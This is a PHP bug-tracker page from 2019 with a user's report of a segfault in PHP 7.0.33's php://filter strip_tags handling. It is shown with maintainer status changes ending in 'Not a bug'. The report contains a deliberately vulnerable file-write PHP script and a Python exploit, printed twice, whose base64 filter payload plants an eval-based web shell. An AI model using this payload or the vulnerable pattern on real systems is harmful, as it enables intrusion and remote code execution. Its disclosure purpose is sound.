|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
[2019-11-23 09:17 UTC] cmb@php.net
-Status: Open
+Status: Feedback
-Assigned To:
+Assigned To: cmb
[2019-11-23 09:17 UTC] cmb@php.net
[2019-12-01 04:22 UTC] php-bugs at lists dot php dot net
[2019-12-06 13:24 UTC] jessica1123 at yeah dot net
-Status: No Feedback
+Status: Closed
[2019-12-06 13:24 UTC] jessica1123 at yeah dot net
[2019-12-13 15:01 UTC] cmb@php.net
-Status: Closed
+Status: Not a bug
-Type: Security
+Type: Bug
[2019-12-13 15:01 UTC] cmb@php.net
[2019-12-16 14:01 UTC] jessica1123 at yeah dot net
-Type: Bug
+Type: Security
-Private report: No
+Private report: Yes
[2019-12-16 14:01 UTC] jessica1123 at yeah dot net
[2019-12-16 14:13 UTC] cmb@php.net
-Type: Security
+Type: Bug
[2019-12-16 14:13 UTC] cmb@php.net
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Sat Nov 01 07:00:01 2025 UTC |
Description: ------------ Description: ------------ Hi, I found a vulnerability while I was testing the PHP built-in web server. The vulnerability could be exploited by an attacker to crash the server causing a segmentation fault. I think this vulnerability is caused by an error when `file_put_contents` parses `php://filter/write=string.strip_tags` . My environment is php 7.0.33 , but the problem doesn't work on 7.1.33 root@1B40116:~/php# php -v PHP 7.0.33-0ubuntu0.16.04.7 (cli) ( NTS ) Copyright (c) 1997-2017 The PHP Group Zend Engine v3.0.0, Copyright (c) 1998-2017 Zend Technologies with Zend OPcache v7.0.33-0ubuntu0.16.04.7, Copyright (c) 1999-2017, by Zend Technologies The steps to reproduce to trigger the segmentation fault are the following: $ mkdir php $ cd php $ touch phpshell.php #wtrie php code to phpshell.php ``` <?php $content = '<?php exit; ?>'; $content .= $_POST['txt']; file_put_contents($_POST['filename'], $content); ``` $ php -S 0:8081 $ python exploit.py 127.0.0.1 #But could be a remote server as well You can find the exploit in the "Test script" section. Further investigations of the issue could lead an attacker to exploit the memory corruption in the server to get a reverse shell (eg. Buffer overflow). Anyway, with the actual exploit an attacker could already DoS the server. Test script: --------------- import sys import requests if len(sys.argv) < 2: print("[!] Usage: %s TARGET" % sys.argv[0]) exit() target = sys.argv[1].strip() url = "http://{ip}:8081/phpshell.php".format(ip = target) data = { "filename":r"php://filter/write=string.strip_tags|convert.base64-decode/resource=bb.php&txt=PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pPz4=" } print("[*] Sending requests to %s." % target) try: r = requests.post(url = url , data = data) print("The exploit didn't worked.") except requests.exceptions.ConnectionError: print("The exploit worked!") Expected result: ---------------- The server crash with "Segmentation fault" error. Test script: --------------- import sys import requests if len(sys.argv) < 2: print("[!] Usage: %s TARGET" % sys.argv[0]) exit() target = sys.argv[1].strip() url = "http://{ip}:8081/phpshell.php".format(ip = target) data = { "filename":r"php://filter/write=string.strip_tags|convert.base64-decode/resource=bb.php&txt=PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pPz4=" } print("[*] Sending requests to %s." % target) try: r = requests.post(url = url , data = data) print("The exploit didn't worked.") except requests.exceptions.ConnectionError: print("The exploit worked!") Expected result: ---------------- output: The exploit didn't worked. Actual result: -------------- python output: The exploit worked! shell output: Segmentation fault